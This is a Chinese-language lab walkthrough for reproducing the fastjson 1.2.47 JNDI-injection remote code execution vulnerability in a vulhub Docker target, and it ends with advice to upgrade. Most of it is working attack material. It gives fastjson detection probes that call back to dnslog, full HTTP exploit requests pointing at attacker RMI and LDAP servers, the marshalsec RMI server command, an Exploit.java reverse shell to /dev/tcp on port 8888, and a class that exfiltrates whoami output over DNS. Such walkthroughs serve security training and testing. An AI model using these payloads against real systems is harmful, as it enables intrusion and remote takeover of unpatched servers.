fastjson简介
fastjson是由阿里巴巴工程师基于JAVA开发的一款JSON解析器和生成器,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象。
漏洞原理
漏洞原因:
lookup函数中参数可控,可以指向攻击者服务器,实现JNDI注入实现任意代码执行
利用方法:
1.首先开启HTTP服务器,并将我们的恶意类放在目录下
2.开启恶意RMI服务器
3.攻击者控制url参数为上一步开启的恶意RMI服务器地址
4.恶意RMI服务器返回ReferenceWrapper类
5.目标(JNDI_Client)在执行lookup操作的时候,在decodeObject中将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码
复现详情
靶场搭建
靶场说明:
ubuntu20.04.2
fastjson1.2.47
docker搭建vulhub
apt-get install docker apt-get install docker-compose reboot service docker start
sudo service docker start //启动docker(设置自启动的不需要) docker version 或者docker -v //查看版本信息 docker ps //查看容器 docker images //查看已有镜像
git clone https://github.com/vulhub/vulhub.git cd vulhub/fastjson/1.2.47-rce
sudo docker-compose build //编译靶场环境 sudo docker-compose up -d //启动靶场 sudo docker-compose down //关闭服务
|
攻击机搭建
kali
搭建RMI/LDAP服务
工具:
marshalsec-0.0.3-SNAPSHOT-all.jar:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
burpsuite
jdk:1.8.0_181:https://pan.baidu.com/s/1BX-7vrIvkZ0Ii5IuUruIIA 提取码:y7ea
安装过程
mkdir /opt/java tar -zxvf jdk-8u181-linux-x64.tar.gz -C /opt/java vim /etc/profile export JAVA_HOME=/opt/java/jdk1.8.0_181 export JRE_HOME=/opt/java/jdk1.8.0_181 export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin source /etc/profile java -version
apt install maven
git clone https://github.com/mbechler/marshalsec.git cd marshalsec/ mvn clean package -DskipTests
|
RMI服务
原理:
Java RMI服务是远程方法调用(Remote Method Invocation)。它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法
在Java Web中,很多地方都会用到RMI来相互调用。比如很多大型组织都会在后台部署一些Java应用,用于对外网站发布更新的静态页面,而这种发布命令的下达使用的就是这种RMI形式。
值得注意的是,RMI传输过程必然会使用序列化和反序列化,如果RMI服务端端口对外开发,并且服务端使用了像Apache Commons Collections这种库,那么会导致远程命令执行。
JNDI注入
原理:
将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行
简述:
简单来说就是恶意类绑定在RMI中,由于用户在JNDI客户端的参数外部可控,使得用户的JNDI客户端访问到了RMI,加载了外部恶意class文件,实现了JNDI注入导致了恶意代码执行
漏洞复现
发现json格式
判断是否存在fastjson
1、使用半个括号查看返回包
2、通过dnslog回显的方式来判断是否可以远程方法调用
{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}} {"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"} {"@type":"java.net.Inet6Address","val":"xxx.dnslog.cn"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"xxx.dnslog.cn"}} {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"xxx.dnslog.cn"}}""} {{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:"aaa"} Set[{"@type":"java.net.URL","val":"xxx.dnslog.cn"}] {{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:0
|
判断是Fastjson和Jackon
jackon比较严格,强制key和javabean属性对齐,只能少key不能多,通过新增key来判断
测试是否外连
监听端口
尝试连接
此处请求包是要为json格式
POST / HTTP/1.1 Host: 192.168.1.115:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/json Content-Length: 192
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.1.116:7777/Exploit","autoCommit":true}}}
|
我们也可以尝试使用dnslog回显判断
{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://xxx.dnslog.cn/aaa","autoCommit":true}} {"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}} {"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"} {"@type":"java.net.Inet6Address","val":"xxx.dnslog.cn"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"xxx.dnslog.cn"}} {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"xxx.dnslog.cn"}}""} {{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:"aaa"} Set[{"@type":"java.net.URL","val":"xxx.dnslog.cn"} {{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:0
|
利用过程
攻击机监听端口
攻击exp修改我们的攻击机
exploit.java
public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/攻击机ip/8888 0>&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
|
编译成class
开启http服务,访问后可以看到Exploit.class文件
python3 -m http.server 8080
|
开启RMI服务
RMI服务器监听9999端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP:8080/#Exploit" 9999
|
不同版本的
# 1.2.47以下版本 { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.43.102:9999/Exploit", "autoCommit":true } } # 1.2.24以下版本 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://同上类文件地址:9999/TouchFile", "autoCommit":true } }
|
利用exp通过
POST / HTTP/1.1 Host: 192.168.1.115:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 263
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.116:9999/Exploit", "autoCommit":true } }
|
成功获取到shell
dnslog利用
我们可以使用dnslog将执行的命令进行请求,其他操作步骤与上面一样
dnslog.java
import java.lang.Runtime; import java.lang.Process; public class dnslog{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }
|
POC:
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://IP:9999/dnslog", "autoCommit":true } }
|
漏洞修复
升级至官方最新版本 1.62。(修复所有已知漏洞,具备最新黑名单)